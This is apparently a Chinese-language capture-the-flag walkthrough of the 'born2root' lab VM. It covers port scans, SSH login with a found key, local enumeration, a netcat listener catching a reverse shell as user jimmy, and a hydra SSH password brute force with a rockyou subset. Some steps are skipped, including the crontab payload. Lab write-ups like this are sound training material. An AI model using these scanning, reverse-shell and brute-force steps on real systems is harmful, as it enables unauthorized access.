┌──(kali㉿kali)-[~/Downloads/born2root] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.135 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-17 11:49 EDT Nmap scan report for 192.168.56.135 Host is up (0.00091s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 46650/tcp open unknown MAC Address: 08:00:27:81:98:42 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 9.82 seconds
┌──(kali㉿kali)-[~/Downloads/born2root] └─$ sudo nmap -sT -sV -sC -O -p22,80,111,46650 192.168.56.135 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-17 11:50 EDT Nmap scan report for 192.168.56.135 Host is up (0.00047s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) | ssh-hostkey: | 1024 3d:6f:40:88:76:6a:1d:a1:fd:91:0f:dc:86:b7:81:13 (DSA) | 2048 eb:29:c0:cb:eb:9a:0b:52:e7:9c:c4:a6:67:dc:33:e1 (RSA) | 256 d4:02:99:b0:e7:7d:40:18:64:df:3b:28:5b:9e:f9:07 (ECDSA) |_ 256 e9:c4:0c:6d:4b:15:4a:58:4f:69:cd:df:13:76:32:4e (ED25519) 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-title: Secretsec Company | http-robots.txt: 2 disallowed entries |_/wordpress-blog /files |_http-server-header: Apache/2.4.10 (Debian) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 46371/udp6 status | 100024 1 46650/tcp status | 100024 1 48871/udp status |_ 100024 1 49219/tcp6 status 46650/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:81:98:42 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.60 seconds
┌──(kali㉿kali)-[~/Downloads/born2root] └─$ sudo ssh -i privatekey martin@192.168.56.135 [sudo] password for kali: The authenticity of host '192.168.56.135 (192.168.56.135)' can\'t be established. ED25519 key fingerprint is SHA256:y7AzR/QI4CJW3DLNEfBYopBbKkUP12PZv3vt+1ZQP6E. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.135' (ED25519) to the list of known hosts. sign_and_send_pubkey: no mutual signature supported martin@192.168.56.135\'s password:
依然要输密码,不过情况看起来可能是算法不匹配的问题 sign_and_send_pubkey: no mutual signature supported,尝试直接谷歌搜索这个
翻找了一下找到了答案,不过这里更好地处理方法是增加 ssh 参数,然后进行分析判断
1 2 3 4 5 6
debug1: Next authentication method: publickey debug1: Trying private key: privatekey sign_and_send_pubkey: no mutual signature supported debug2: we did not send a packet, disable method debug1: Next authentication method: password martin@192.168.56.135's password:
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jun 9 20:31:29 2017 from 192.168.0.42
READY TO ACCESS THE SECRET LAB ?
secret password : ^CTraceback (most recent call last): File "/var/tmp/login.py", line 8, in <module> password = raw_input("secret password : ") KeyboardInterrupt martin@debian:~$ whoami martin martin@debian:~$ id uid=1001(martin) gid=1001(martin) groupes=1001(martin) martin@debian:~$ w 00:28:02 up 6:43, 1 user, load average: 0,00, 0,01, 0,08 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT martin pts/0 192.168.56.106 00:26 1.00s 0.05s 0.00s w martin@debian:~$ id uid=1001(martin) gid=1001(martin) groupes=1001(martin) martin@debian:~$ sudo -l -bash: sudo : commande introuvable martin@debian:~$ uname -a Linux debian 3.16.0-4-586 #1 Debian 3.16.39-1+deb8u2 (2017-03-07) i686 GNU/Linux martin@debian:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000 link/ether 08:00:27:81:98:42 brd ff:ff:ff:ff:ff:ff inet 192.168.56.135/24 brd 192.168.56.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::a00:27ff:fe81:9842/64 scope link valid_lft forever preferred_lft forever martin@debian:~$ ls -alih total 28K 128334 drwxr-xr-x 3 martin martin 4,0K juin 8 2017 . 128262 drwxr-xr-x 5 root root 4,0K juin 9 2017 .. 128341 -rw------- 1 martin martin 613 août 18 00:28 .bash_history 128335 -rw-r--r-- 1 martin martin 220 juin 7 2017 .bash_logout 128337 -rwx--x--x 1 martin martin 3,5K juin 7 2017 .bashrc 128336 -rw-r--r-- 1 martin martin 675 juin 7 2017 .profile 128338 drwxr-xr-x 2 root root 4,0K juin 7 2017 .ssh
martin@debian:~$ cat .bash_history nano /var/tmp/login.py nano .bashrc ls ls -ah sudo su exit nano /var/tmp/login.py clear nano /var/tmp/login.py su root ls su root clear su root clear cd /var/www/html/icons/ ls mv VdXAsOKisAOIO.txt.png key.txt.png su root su roo su root exit ls su root exit logout
/var/tmp/login.py 查看查看这个文件的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
martin@debian:~$ ls -laih /var/tmp/login.py 55 -r-x------ 1 martin martin 263 juin 8 2017 /var/tmp/login.py martin@debian:~$ cat /var/tmp/login.py #!/usr/bin/python
import os
print("") print("READY TO ACCESS THE SECRET LAB ? ") print("") password = raw_input("secret password : ")
if (password) == "secretsec" or "secretlab" : print("WELCOME ! ") else: print("GET OUT ! ") os.system("pkill -u 'martin'")
脚本看起来有点废,尤其是中间的判断语句 if (password) == "secretsec" or "secretlab" 这样的话不就肯定是 true 了,用户无论输入什么都能进入
而且权限也不让人很在意,脚本中的两个口令先收集起来,或许可以用来碰撞,尝试 su 命令使用上面两个口令作为密码。但是均失败了
1 2 3 4 5 6 7
martin@debian:/home$ ls -laih total 20K 128262 drwxr-xr-x 5 root root 4,0K juin 9 2017 . 2 drwxr-xr-x 21 root root 4,0K avril 26 2017 .. 141088 drwxr-xr-x 3 hadi hadi 4,0K juin 5 2017 hadi 141985 drwx------ 2 jimmy jimmy 4,0K juin 9 2017 jimmy 128334 drwxr-xr-x 3 martin martin 4,0K juin 8 2017 martin
home 目录中存在三个用户,只有 hadi 可以进去查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
martin@debian:/home/hadi$ ls -alih total 60K 141088 drwxr-xr-x 3 hadi hadi 4,0K juin 5 2017 . 128262 drwxr-xr-x 5 root root 4,0K juin 9 2017 .. 141089 -rw-r--r-- 1 hadi hadi 220 avril 26 2017 .bash_logout 141091 -rw-r--r-- 1 hadi hadi 3,5K avril 26 2017 .bashrc 128327 -rwxr-xr-x 1 root root 5,3K mai 10 2017 buff 141549 -rw-r--r-- 1 root root 1,1K mai 10 2017 buff.c 128332 -rw-r--r-- 1 root root 148 juin 5 2017 example.c 128329 -rw------- 1 root root 2,1K juin 5 2017 .gdb_history 128340 -rwxr-xr-x 1 root root 5,9K juin 5 2017 overflow 128328 -rw-r--r-- 1 root root 19 mai 10 2017 peda-session-buff.txt 128333 -rw-r--r-- 1 root root 5 juin 5 2017 peda-session-overflow.txt 141090 -rw-r--r-- 1 hadi hadi 675 avril 26 2017 .profile 141097 drwxr-xr-x 2 hadi hadi 4,0K mai 1 2017 .ssh
缓冲区溢出的漏洞?不过这权限也不是 SUID 啊,看不懂了,不过顺便补一补 Linux 上调试缓冲区溢出的知识。
Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()
仅作简单记录,实际上这个程序漏洞无法用来提权
定时任务提权
接下来我看了敏感文件的权限和网站目录下的文件夹,以及定时任务和 SUID
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
martin@debian:/home/hadi$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
┌──(kali㉿kali)-[~/Downloads/born2root] └─$ sudo nc -lvnp 443 listening on [any] 443 ... connect to [192.168.56.106] from (UNKNOWN) [192.168.56.135] 36957 whoami jimmy id uid=1002(jimmy) gid=1002(jimmy) groupes=1002(jimmy) ls networker pwd /home/jimmy ls -liah total 32K 141985 drwx------ 2 jimmy jimmy 4,0K juin 9 2017 . 128262 drwxr-xr-x 5 root root 4,0K juin 9 2017 .. 141984 -rw-r--r-- 1 root root 16 juin 9 2017 .bash_history 141986 -rw-r--r-- 1 jimmy jimmy 220 juin 8 2017 .bash_logout 141988 -rw-r--r-- 1 jimmy jimmy 3,5K juin 8 2017 .bashrc 141996 -rwsrwxrwx 1 root root 7,4K juin 9 2017 networker 141987 -rw-r--r-- 1 jimmy jimmy 675 juin 8 2017 .profile cat .bash_history wget localhost
┌──(kali㉿kali)-[~/Downloads/born2root] └─$ cat /usr/share/wordlists/rockyou.txt | grep hadi >hadipasswd
┌──(kali㉿kali)-[~/Downloads/born2root] └─$ sudo hydra -l hadi -P hadipasswd 192.168.56.135 ssh Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-19 12:30:49 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 1581 login tries (l:1/p:1581), ~99 tries per task [DATA] attacking ssh://192.168.56.135:22/ [STATUS] 166.00 tries/min, 166 tries in 00:01h, 1416 to doin 00:09h, 15 active [22][ssh] host: 192.168.56.135 login: hadi password: hadi123 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 3 final worker threads did not complete until end. [ERROR] 3 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-19 12:32:27